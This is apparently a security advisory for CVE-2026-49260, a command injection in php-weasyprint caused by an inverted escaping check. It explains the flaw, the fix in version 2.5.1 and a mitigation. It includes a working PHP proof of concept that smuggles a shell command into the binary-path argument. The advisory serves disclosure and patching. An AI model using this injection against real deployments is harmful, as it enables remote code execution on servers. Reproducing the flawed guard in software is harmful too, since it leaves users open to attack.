CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path
A logic error in php-weasyprint's command builder means the safety check that should quote and validate the WeasyPrint binary path is permanently bypassed, letting any shell metacharacters in that…
The problem
In AbstractGenerator::buildCommand() and the Pdf override, the code calls escapeshellarg($binary) and then passes the result to is_executable(). On POSIX, escapeshellarg wraps the string in literal single-quote characters, so is_executable looks for a file whose name includes those quotes.
That file never exists.
Because the guard always fails, the ternary falls through to $binary raw and unescaped. That string then reaches Symfony\Component\Process\Process::fromShellCommandline(), which hands it to /bin/sh -c. Any deployment where the binary path comes from config, an environment variable, or a per-tenant setting is a command injection sink.
Proof of concept
A working proof-of-concept for CVE-2026-49260 in pontedilana/php-weasyprint, with the exact payload below.
<?php
require __DIR__ . '/vendor/autoload.php';
use Pontedilana\PhpWeasyPrint\Pdf;
// Attacker-controlled binary string (e.g. read from config / env / tenant row)
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';
$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);
try {
$pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
// WeasyPrint binary call fails but the injected touch already ran
}
if (file_exists('/tmp/php_weasyprint_rce_marker')) {
echo "RCE MARKER PRESENT — injection landed.\n";
} else {
echo "RCE marker absent — injection did NOT land.\n";
}The inverted guard (is_executable(escapeshellarg($binary))) is permanently dead code. escapeshellarg produces 'weasyprint ...; touch ...; #' and no file by that quoted name exists on disk, so the check always returns false and $command is built with the raw $binary value.
The trailing # in the injected string comments out the options and output path that buildCommand appends, keeping the shell line syntactically valid. The patch (commit 9e86a2b) rewrites execution to use new Process([...]) with an argument array instead of fromShellCommandline, so the shell is never involved and metacharacters are never interpreted.
CWE-78.
This is the same logic error KnpLabs patched in snappy 1.7.1 (GHSA-vpr4-p6fq-85jc). The vulnerable buildCommand was copied verbatim from that codebase and never updated.
The fix
Upgrade to pontedilana/php-weasyprint 2.5.1. The patch commit 9e86a2b317237fc5728f712f5037164530117f7e replaces Process::fromShellCommandline() with a direct Process array constructor, eliminating shell interpretation entirely. If an immediate upgrade is blocked, ensure the binary path is a hard-coded constant in deployed code and cannot be influenced by config, environment, or user input.
Reported by tonghuaroot.
Related research
- high · 8.1CVE-2026-49286CVE-2026-49286: pontedilana/php-weasyprint PHAR Deserialization via Case-Insensitive Stream Wrapper Bypass
- high · 8.8Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)
- high · 8.8CVE-2026-55578CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist
- highCVE-2026-40187CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection